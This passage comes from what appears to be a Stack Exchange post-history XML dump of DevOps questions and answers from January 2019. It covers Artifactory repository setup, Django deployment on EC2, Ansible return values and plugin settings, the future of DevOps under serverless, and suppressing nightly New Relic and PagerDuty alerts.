  <row Id="19006" PostHistoryTypeId="1" PostId="5913" RevisionGUID="672af406-2b2e-41c9-b551-44a2f4655446" CreationDate="2019-01-08T15:43:28.653" UserId="11717" Text="What are the tools you recommend for deploying / automating / organizing vm in the private cloud" ContentLicense="CC BY-SA 4.0" />
  <row Id="19007" PostHistoryTypeId="3" PostId="5913" RevisionGUID="672af406-2b2e-41c9-b551-44a2f4655446" CreationDate="2019-01-08T15:43:28.653" UserId="11717" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;configuration-management&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19008" PostHistoryTypeId="2" PostId="5914" RevisionGUID="1e23a05d-072b-4337-b83a-d33840d4b65a" CreationDate="2019-01-08T17:29:50.060" UserId="6162" Text="The answer will depend on how much you want to change. I will describe how most larger companies solves this nowadays.&#xD;&#xA;&#xD;&#xA;Containerize the apps. Run them in [Docker][1] containers. And use a container orchestration tool, like [Kubernetes][2] to manage deployment. But to do this your application must probably be redesigned to follow [The Twelve factor methodology][3].&#xD;&#xA;&#xD;&#xA;Both Amazon, Azure and Google have Kubernetes cloud services. If you want to continue with private cloud, [OpenShift][4] is the most popular Kubernetes-product.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/&#xD;&#xA;  [2]: https://kubernetes.io/&#xD;&#xA;  [3]: https://12factor.net/&#xD;&#xA;  [4]: https://www.openshift.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19009" PostHistoryTypeId="2" PostId="5915" RevisionGUID="0bcb4660-df46-476b-90c0-f126bc4ec60d" CreationDate="2019-01-08T17:35:12.517" UserId="6162" Text="[Prometheus][1] is a popular tool for monitoring microservices deployed to the cloud in combination with [Grafana][2]. For a better understanding of your inter-service issues, a distributed tracing tool is needed as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://prometheus.io&#xD;&#xA;  [2]: https://grafana.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19010" PostHistoryTypeId="50" PostId="5505" RevisionGUID="7be43c11-b0e7-43d7-a727-f912b951e3b6" CreationDate="2019-01-08T18:03:20.717" UserId="-1" />
  <row Id="19011" PostHistoryTypeId="2" PostId="5916" RevisionGUID="a58bb1fc-d9eb-40fb-849f-3b6d06f2c2d2" CreationDate="2019-01-08T18:28:36.247" UserId="11722" Text="We are very new in using Artifactory services, we would like to store all our artifacts in JFrog Artifactory server for dependency as well as for release management. I have currently created one Local Repository in the name 'myartifactory' and I am planning to use the following code in my projects pom.xml file for distribution management.&#xD;&#xA;&#xD;&#xA;    &lt;distributionManagement&gt;&#xD;&#xA;        &lt;repository&gt;&#xD;&#xA;            &lt;id&gt;central&lt;/id&gt;&#xD;&#xA;            &lt;name&gt;jd-releases&lt;/name&gt;&#xD;&#xA;            &lt;url&gt;http://jd-msg.staging.com/artifactory/myartifactory&lt;/url&gt;&#xD;&#xA;        &lt;/repository&gt;&#xD;&#xA;        &lt;snapshotRepository&gt;&#xD;&#xA;            &lt;id&gt;snapshots&lt;/id&gt;&#xD;&#xA;            &lt;name&gt;jd-snapshots&lt;/name&gt;&#xD;&#xA;            &lt;url&gt;http://jd-msg.staging.com/artifactory/myartifactory&lt;/url&gt;&#xD;&#xA;        &lt;/snapshotRepository&gt;&#xD;&#xA;    &lt;/distributionManagement&gt;&#xD;&#xA;&#xD;&#xA;Does the above method looks like a recommended way? How about having &quot;Remote Repositories&quot; and &quot;Virtual Repositories&quot;? Is it mandatory to have? What is the real life example for those?&#xD;&#xA;&#xD;&#xA;In addition artifactory by default recommends some best practices for Local Repositories like the following,&#xD;&#xA;&#xD;&#xA;Pre-defined Local Repositories:&#xD;&#xA;- Artifactory comes with a set of pre-defined local repositories, which reflect best practices in binary repository management as follows: &#xD;&#xA;&#xD;&#xA;    libs-release-local - Your code releases&#xD;&#xA;    libs-snapshot-local - Your code snapshots&#xD;&#xA;    ext-release-local - Manually deployed 3rd party libs (releases)&#xD;&#xA;    ext-snapshot-local - Manually deployed 3rd party libs (shapshots)&#xD;&#xA;    plugins-release-local - Your and 3rd party plugins (releases)&#xD;&#xA;    plugins-snapshot-local - Your and 3rd party plugins (snapshots)&#xD;&#xA;&#xD;&#xA;So I am bit confused about the right approach. Suggestions are welcome." ContentLicense="CC BY-SA 4.0" />
  <row Id="19012" PostHistoryTypeId="1" PostId="5916" RevisionGUID="a58bb1fc-d9eb-40fb-849f-3b6d06f2c2d2" CreationDate="2019-01-08T18:28:36.247" UserId="11722" Text="Recommended JFrog Artifactory Layout setup for Maven Projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="19013" PostHistoryTypeId="3" PostId="5916" RevisionGUID="a58bb1fc-d9eb-40fb-849f-3b6d06f2c2d2" CreationDate="2019-01-08T18:28:36.247" UserId="11722" Text="&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19014" PostHistoryTypeId="2" PostId="5917" RevisionGUID="bbf98ab0-863e-4131-ac82-71821977eb35" CreationDate="2019-01-08T20:29:19.043" UserId="11724" Text="I started learning Django six months ago and I really really loved it.&#xD;&#xA;&#xD;&#xA;I learnt how to deploy the django projects to EC2 instances. &#xD;&#xA;&#xD;&#xA;Basically 1st time when the django project is deployed to EC2, the instance will be configured with httpd.conf, wsgi, change permissions on files and folders and other stuff and the project will be cloned to the EC2 instance and server is restarted.&#xD;&#xA;&#xD;&#xA;My question is how do they do future deployments? They in this context is anyone who deploys Django on EC2 instances.&#xD;&#xA;&#xD;&#xA;Do they login to EC2 instances and manually clone the repository from VCS site and restart the server?&#xD;&#xA;&#xD;&#xA;Do they have any other automated mechanism to pull the code, ensure permissions and restarting the apache server etc.&#xD;&#xA;&#xD;&#xA;How is it done basically every time they go for a release?&#xD;&#xA;&#xD;&#xA;Someone please help me understand this." ContentLicense="CC BY-SA 4.0" />
  <row Id="19015" PostHistoryTypeId="1" PostId="5917" RevisionGUID="bbf98ab0-863e-4131-ac82-71821977eb35" CreationDate="2019-01-08T20:29:19.043" UserId="11724" Text="How does Django deployments happen on Servers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19016" PostHistoryTypeId="3" PostId="5917" RevisionGUID="bbf98ab0-863e-4131-ac82-71821977eb35" CreationDate="2019-01-08T20:29:19.043" UserId="11724" Text="&lt;amazon-web-services&gt;&lt;deployment&gt;&lt;amazon-ec2&gt;&lt;continuous-deployment&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19017" PostHistoryTypeId="2" PostId="5918" RevisionGUID="4f985018-6d5b-4ef8-95b9-866fe38ce7ea" CreationDate="2019-01-08T22:20:46.723" UserId="11726" Text="Within Artifactory there are three types of [repositories](https://www.jfrog.com/confluence/display/RTF/Configuring+Repositories):&#xD;&#xA;&#xD;&#xA; 1. **Local**: Local repositories are physical, locally-managed repositories&#xD;&#xA;    into which you can deploy artifacts &#xD;&#xA; 2. **Remote**: A remote repository&#xD;&#xA;    serves as a caching proxy for a repository managed at a remote URL&#xD;&#xA; 3. **Virtual**: A virtual repository (or &quot;repository group&quot;) aggregates&#xD;&#xA;    several repositories with the same package type under a common URL.&#xD;&#xA;&#xD;&#xA;Local and remote repositories are true physical repositories (they exist either on your server on on a remote server somewhere else), while a virtual repository is actually an aggregation of them used to create controlled domains for search and resolution of artifacts.&#xD;&#xA;&#xD;&#xA;If you need all of those types depends a bit on your use case. A real world use case for a remote repository would be Maven Central or jCenter where developers host their Maven packages. JFrog Artifactory can serve as a cache for those services so that not every call to resolve Maven dependencies has to go through the Internet. A real world use case for a virtual repository is that I have a remote repo (like the ones I already mentioned) and a few local repos too (like the ones you mentioned in your question). I want to make sure that my developers only need to configure one Maven repository as URL and my virtual repository allows me to do that. With a virtual repo, I can group together all sorts of other repositories and give one URL to developers so I can manage which dependencies are allowed as opposed to resolving them from the Internet every time.&#xD;&#xA;&#xD;&#xA;Based on lessons learned we've included some default repositories into Artifactory that follow the flow of most developers that use Maven. Having said that, there is nothing stopping you from adopting your own workflow and not using the default repos." ContentLicense="CC BY-SA 4.0" />
  <row Id="19018" PostHistoryTypeId="2" PostId="5919" RevisionGUID="2335d2f6-3356-4348-9b82-5b99dd101a28" CreationDate="2019-01-08T22:23:15.567" UserId="11727" Text="My senior recently argued that DevOps related roles such as DevOps Engineer, SRE, etc, will be less relevant once serverless matures. &#xD;&#xA;&#xD;&#xA;He pointed me to this article - https://read.acloud.guru/simon-wardley-is-a-big-fan-of-containers-despite-what-you-might-think-18c9f5352147&#xD;&#xA;&#xD;&#xA;Can you see less and less DevOps roles being available in the age of serverless? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19019" PostHistoryTypeId="1" PostId="5919" RevisionGUID="2335d2f6-3356-4348-9b82-5b99dd101a28" CreationDate="2019-01-08T22:23:15.567" UserId="11727" Text="What is the future of DevOps in the age of serverless?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19020" PostHistoryTypeId="3" PostId="5919" RevisionGUID="2335d2f6-3356-4348-9b82-5b99dd101a28" CreationDate="2019-01-08T22:23:15.567" UserId="11727" Text="&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19021" PostHistoryTypeId="2" PostId="5920" RevisionGUID="ad5a0808-36b0-439f-823a-cdee296e54d6" CreationDate="2019-01-09T02:04:34.097" UserId="11342" Text="DevOps roles will probably be around for some time. Most enterprises and start ups have different needs, server-less is more of an indication of “developers need less focus on the resources and infrastructure for applications” in the sense of applications healing themselves, developers would need to write functions, these functions would often need to change and be adaptable to the applications needs. &#xA;&#xA;When thinking of SRE it’s more of a leadership role. Although the nature of the role is reliability of systems, we may see autonomous development in the near future but that too would also need highly skilled strategic engineers to oversee such critical systems and SREs would play that role. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19022" PostHistoryTypeId="2" PostId="5921" RevisionGUID="9b6b3339-ef44-4125-988e-81ac97796390" CreationDate="2019-01-09T04:00:19.403" UserId="10550" Text="From [Ansible's official doc](https://docs.ansible.com/ansible/latest/reference_appendices/common_return_values.html#return-values)&#xD;&#xA;&#xD;&#xA;&gt; Ansible modules normally return a data structure that can be registered into a variable, or seen directly when output by the ansible program&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt; Ansible modules normally return a data structure that can be registered into a variable, or seen directly when output by the ansible program&#xD;&#xA;&#xD;&#xA;However, the [document on aws_ec2 module](https://docs.ansible.com/ansible/latest/modules/ec2_module.html) &#xD;&#xA;&#xD;&#xA;1. Doesn't document return values&#xD;&#xA;1. Has this example, which seems like it actually has some specific return values&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;    &#xD;&#xA;    # Stripped version&#xD;&#xA;    &#xD;&#xA;    # Launch instances, runs some tasks&#xD;&#xA;    # and then terminate them&#xD;&#xA;    &#xD;&#xA;    - name: Create a sandbox instance&#xD;&#xA;      ... # hosts, vars...&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Launch instance&#xD;&#xA;          ec2:&#xD;&#xA;          ... # ec2 module specs&#xD;&#xA;          register: ec2 #This seems to be one of the specific return structure by this module&#xD;&#xA;    &#xD;&#xA;        - name: Wait for SSH to come up&#xD;&#xA;          ... # some module&#xD;&#xA;          with_items: &quot;{{ ec2.instances }}&quot; # This is where the registered return value is used&#xD;&#xA;&#xD;&#xA;Question: How to see all possible return values of a module, even without documentation&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19023" PostHistoryTypeId="1" PostId="5921" RevisionGUID="9b6b3339-ef44-4125-988e-81ac97796390" CreationDate="2019-01-09T04:00:19.403" UserId="10550" Text="Ansible how to know what return value is provided by a specific module" ContentLicense="CC BY-SA 4.0" />
  <row Id="19024" PostHistoryTypeId="3" PostId="5921" RevisionGUID="9b6b3339-ef44-4125-988e-81ac97796390" CreationDate="2019-01-09T04:00:19.403" UserId="10550" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19025" PostHistoryTypeId="2" PostId="5922" RevisionGUID="67e4741a-f22f-4715-b150-219b0b1a38bf" CreationDate="2019-01-09T04:33:45.147" UserId="707" Text="Also serverless needs some infrastructure and for that you also need software components to develop and rollout. &#xD;&#xA;&#xD;&#xA;So given the cloud market will grow,  even if servetless would dominate, there will be a DevOps market, maybe smaller than now.&#xD;&#xA;&#xD;&#xA;Otherwise it is in general very hard to predict how (IT) world and job market might look like in say 20 years." ContentLicense="CC BY-SA 4.0" />
  <row Id="19027" PostHistoryTypeId="5" PostId="5922" RevisionGUID="eb66300f-b73a-4105-83d7-dad11f60cbfa" CreationDate="2019-01-09T08:14:47.080" UserId="707" Comment="added 423 characters in body" Text="Also serverless needs some infrastructure and for that you also need software components to develop and rollout. &#xD;&#xA;&#xD;&#xA;Beyond yet another website or application server I'd also think of energing advanced ecosystems related to:&#xD;&#xA;&#xD;&#xA;- Internet of things -  embedded systems and edge servers&#xD;&#xA;- Artificial intelligence and data engineering in distributed systems. Could be some ETL (extract, transform, load) stuff or training and logistics for machine learning models.&#xD;&#xA;- Gaming but also working in virtual environments.&#xD;&#xA;&#xD;&#xA;So given the cloud market and these ecosystems will grow,  even if servetless would dominate, there will be a DevOps market, maybe smaller than now.&#xD;&#xA;&#xD;&#xA;Otherwise it is in general very hard to predict how (IT) world and job market might look like in say 20 years." ContentLicense="CC BY-SA 4.0" />
  <row Id="19028" PostHistoryTypeId="2" PostId="5923" RevisionGUID="87b9de5d-0a4b-4488-aad8-f8c3f482fbb6" CreationDate="2019-01-09T08:20:51.767" UserId="9754" Text="Is there a way in VSTS Azure for DevOps to implement unit test checking mechanism on pull request.&#xD;&#xA;The condition is to only allow commits that change something in the unittest folder for example." ContentLicense="CC BY-SA 4.0" />
  <row Id="19029" PostHistoryTypeId="1" PostId="5923" RevisionGUID="87b9de5d-0a4b-4488-aad8-f8c3f482fbb6" CreationDate="2019-01-09T08:20:51.767" UserId="9754" Text="VSTS Azure for DevOps: Unit test checking mechanism on pull request" ContentLicense="CC BY-SA 4.0" />
  <row Id="19030" PostHistoryTypeId="3" PostId="5923" RevisionGUID="87b9de5d-0a4b-4488-aad8-f8c3f482fbb6" CreationDate="2019-01-09T08:20:51.767" UserId="9754" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19031" PostHistoryTypeId="2" PostId="5924" RevisionGUID="805bb783-1981-4b2b-b170-4010143dd474" CreationDate="2019-01-09T08:30:46.740" UserId="10599" Text="**Disclosure**: I work as a devops coach at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. All that happens is that the tools change but you still have to design, implement, debug and test with the new tools so it’s still &quot;development work”. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;So what I believe that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires disapline, skill and hard effort. &#xA;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have githooks sync the configuration into a cloud provider to create your running system. Then automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that’s “your business” that a cloud provider cannot just gift you. I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use default SaaS based CI/CD, functions, kubernetes, DBaaS just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] and I am migrating the startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19032" PostHistoryTypeId="5" PostId="5924" RevisionGUID="34d30a11-be83-484c-b863-6148c02fc667" CreationDate="2019-01-09T08:58:14.817" UserId="10599" Comment="added 94 characters in body" Text="**Disclosure**: I work as a devops coach (and player) at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. All that happens is that the tools change but you still have to design, implement, debug and test with the new tools so it’s still &quot;development work”. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;So what I believe that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires disapline, skill and hard effort. &#xA;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have githooks sync the configuration into a cloud provider to create your running system. Then automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that’s “your business” that a cloud provider cannot just gift you. I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use default SaaS based CI/CD, functions, kubernetes, DBaaS just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] (our business doesnt use functions yet so currently it's OKD Kubernetes automation). I am migrating our startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19033" PostHistoryTypeId="2" PostId="5925" RevisionGUID="f252ff74-afd8-4af1-adb0-221ab9e71022" CreationDate="2019-01-09T09:23:26.180" UserId="8858" Text="if you do something like:&#xD;&#xA;&#xD;&#xA;    - name: Launch instance&#xD;&#xA;      ec2:&#xD;&#xA;      register: data_struct&#xD;&#xA;&#xD;&#xA;You can then output all the values returned by doing this below the above code:&#xD;&#xA;&#xD;&#xA;    - name: print all returned values&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ data_struct }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19040" PostHistoryTypeId="2" PostId="5928" RevisionGUID="d3b5e0f4-93e0-4086-9220-b1d12bef19ce" CreationDate="2019-01-09T12:36:42.140" UserId="10550" Text="In Ansible, I want to pass parameter to a plugin&#xD;&#xA;&#xD;&#xA;For example, the [`profile_tasks` plugin] (https://docs.ansible.com/ansible/latest/plugins/callback/profile_tasks.html) supports parameter to &quot;Adjust the sorting output of summary tasks&quot;.&#xD;&#xA;&#xD;&#xA;I enable this plugin by whitelisting in the `ansible.cfg` file as&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    callback_whitelist = profile_tasks&#xD;&#xA;&#xD;&#xA;But how do I pass the parameter supported by the plugin ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19041" PostHistoryTypeId="1" PostId="5928" RevisionGUID="d3b5e0f4-93e0-4086-9220-b1d12bef19ce" CreationDate="2019-01-09T12:36:42.140" UserId="10550" Text="Ansible How to pass parameter to plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="19042" PostHistoryTypeId="3" PostId="5928" RevisionGUID="d3b5e0f4-93e0-4086-9220-b1d12bef19ce" CreationDate="2019-01-09T12:36:42.140" UserId="10550" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19043" PostHistoryTypeId="5" PostId="5928" RevisionGUID="f26003c9-b70b-42fc-9f66-16f12ef1a741" CreationDate="2019-01-09T16:15:49.847" UserId="739" Comment="copy editing" Text="In Ansible, I want to pass a parameter to a plugin.  For example, the [`profile_tasks` plugin](https://docs.ansible.com/ansible/latest/plugins/callback/profile_tasks.html) supports a parameter to &quot;Adjust the sorting output of summary tasks&quot;.&#xD;&#xA;&#xD;&#xA;I enable this plugin by whitelisting it in the `ansible.cfg` file by:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    callback_whitelist = profile_tasks&#xD;&#xA;&#xD;&#xA;But how do I pass the parameter supported to the plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19044" PostHistoryTypeId="2" PostId="5929" RevisionGUID="6a15cde8-111b-4989-9135-41881daff921" CreationDate="2019-01-09T16:53:47.063" UserId="739" Text="# Initial Problem&#xD;&#xA;&#xD;&#xA;We have some badly behaved overnight maintenance jobs that cause alerts for AppDex and error rates for our apps.  These are metrics that would be problematic if they happened during the day when customers are using the service, but at night there are absolutely no customers so there's no motivation by devs to make the nightly jobs less error-prone.  So now I want to make it so it doesn't alert every night.  Between New Relic and PagerDuty I would think I could figure that out, but so far I've come up with nothing practical.&#xD;&#xA;&#xD;&#xA;# New Relic&#xD;&#xA;&#xD;&#xA;I haven't spent tons of time with New Relic so I was learning as I tried adjusting things, but based on [this thread on New Relic's site](https://discuss.newrelic.com/t/only-send-alerts-during-a-specifc-time-window-each-day/27560/30) it seems clear that time-boxing alerts is not a feature they current support or will in the forseeable future.  I've dealt with using history as a predictor for future results using a few technologies and it is a mess that would not be a reasonable replacement for the simple alerts that are in place currently.  Going down that path would create more noisy alerts without detecting any more problems than we already find.&#xD;&#xA;&#xD;&#xA;[ It doesn't seem very DevOps-friendly to me to ignore feature requests for simple features that would solve lots of people's problems and only offer complicated quagmires as an alternative.  I'm sure they're all jazzed about 24-7 cloud stuff, but ignoring the market of people who have prehistoric needs is sad.  My audience is literally captive and they are going to stay that way until we stop putting people in prison.  This use case will not go away regardless of how much cloud pixie dust you sprinkle on it. ]&#xD;&#xA;&#xD;&#xA;# PagerDuty&#xD;&#xA;&#xD;&#xA;I've used PagerDuty merrily for years and I was sure there would be some way to handle this after the alert left New Relic, but:&#xD;&#xA;&#xD;&#xA;* [Schedules](https://support.pagerduty.com/docs/schedules) apply to people and come after an alert has been through a Service.  If you could add a Service to a Schedule we could hack this, but no, that's not there.&#xD;&#xA;* [Event Rule-based Suppression](https://support.pagerduty.com/docs/event-management#section-suppression-and-event-rules) doesn't include time-of-day conditions.&#xD;&#xA;* [Maintenance Windows](https://support.pagerduty.com/docs/maintenance-windows) might work, but I was really hoping this wouldn't turn into another cron job I have to keep an eye on.&#xD;&#xA;&#xD;&#xA;# The Question&#xD;&#xA;&#xD;&#xA;Is there any way to get New Relic or PagerDuty to not alert during nightly maintenance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19045" PostHistoryTypeId="1" PostId="5929" RevisionGUID="6a15cde8-111b-4989-9135-41881daff921" CreationDate="2019-01-09T16:53:47.063" UserId="739" Text="Is there any way to get New Relic or PagerDuty to not alert during nightly maintenance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19046" PostHistoryTypeId="3" PostId="5929" RevisionGUID="6a15cde8-111b-4989-9135-41881daff921" CreationDate="2019-01-09T16:53:47.063" UserId="739" Text="&lt;monitoring&gt;&lt;pagerduty&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19047" PostHistoryTypeId="5" PostId="5924" RevisionGUID="9803311c-5af8-4a93-865d-64c2c0684043" CreationDate="2019-01-09T17:41:53.473" UserId="10599" Comment="added 21 characters in body" Text="**Disclosure**: I work as a devops coach (and player) at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. All that happens is that the tools change but you still have to design, implement, debug and test with the new tools so it’s still &quot;development work”. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;So what I believe that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires disapline, skill and hard effort. &#xA;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have githooks sync the configuration into a cloud provider managed Kubernetes to create your running system. Then automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that “run your business” that a cloud provider cannot just gift you. I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use default SaaS based CI/CD, functions, kubernetes, DBaaS just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] (our business doesnt use functions yet so currently it's OKD Kubernetes automation). I am migrating the startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19048" PostHistoryTypeId="5" PostId="5924" RevisionGUID="e0fa0a24-09ef-485d-9b96-4e73eac2cd69" CreationDate="2019-01-09T17:51:19.593" UserId="10599" Comment="added 162 characters in body" Text="**Disclosure**: I work as a devops coach (and player) at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. All that happens is that the tools change but you still have to design, implement, debug and test with the new tools so it’s still &quot;development work”. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;So what I believe that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires disapline, skill and hard effort. &#xA;&#xA;I would argue that just like “developers won’t 